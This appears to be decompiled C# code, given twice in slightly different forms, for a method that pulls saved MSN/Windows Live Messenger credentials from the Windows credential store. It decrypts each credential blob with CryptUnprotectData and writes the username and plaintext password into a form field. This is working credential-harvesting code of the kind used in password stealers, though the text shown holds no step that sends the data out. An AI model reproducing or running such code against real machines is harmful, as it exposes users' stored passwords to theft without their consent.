// Token: 0x06000161 RID: 353 RVA: 0x000061E0 File Offset: 0x000045E0 public static void Password() { try { IntPtr ptr = Marshal.ReadIntPtr(MSN.pCredentials, 0); object obj = Marshal.PtrToStructure(ptr, MSN.Cred.GetType()); MSN.CREDENTIAL credential; MSN.Cred = ((obj != null) ? ((MSN.CREDENTIAL)obj) : credential); MSN.dataIn.pbData = MSN.Cred.CredentialBlob; MSN.dataIn.cbData = MSN.Cred.CredentialBlobSize; MSN.CryptUnprotectData(ref MSN.dataIn, 0, 0, 0, 0, 1, MSN.dataOut); MSN.dataOut.pbData = MSN.dataIn.pbData; MSN.uDetail.uName = MSN.Cred.UserName; IntPtr ptr2 = new IntPtr(MSN.dataOut.pbData); MSN.uDetail.uPass = Marshal.PtrToStringUni(ptr2); MyProject.Forms.Form1.msnt.Text = "Username: "******"\r\nPassword: " + MSN.uDetail.uPass; } catch (Exception ex) { } }
public static void Password() { try { object obj = Marshal.PtrToStructure(Marshal.ReadIntPtr(MSN.pCredentials, 0), MSN.Cred.GetType()); MSN.CREDENTIAL credential; MSN.Cred = obj != null ? (MSN.CREDENTIAL)obj : credential; MSN.dataIn.pbData = MSN.Cred.CredentialBlob; MSN.dataIn.cbData = MSN.Cred.CredentialBlobSize; MSN.CryptUnprotectData(ref MSN.dataIn, 0, 0, 0, 0, 1, MSN.dataOut); MSN.dataOut.pbData = MSN.dataIn.pbData; MSN.uDetail.uName = MSN.Cred.UserName; MSN.uDetail.uPass = Marshal.PtrToStringUni(new IntPtr(MSN.dataOut.pbData)); MyProject.Forms.Form1.msnt.Text = "Username: "******"\r\nPassword: " + MSN.uDetail.uPass; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } }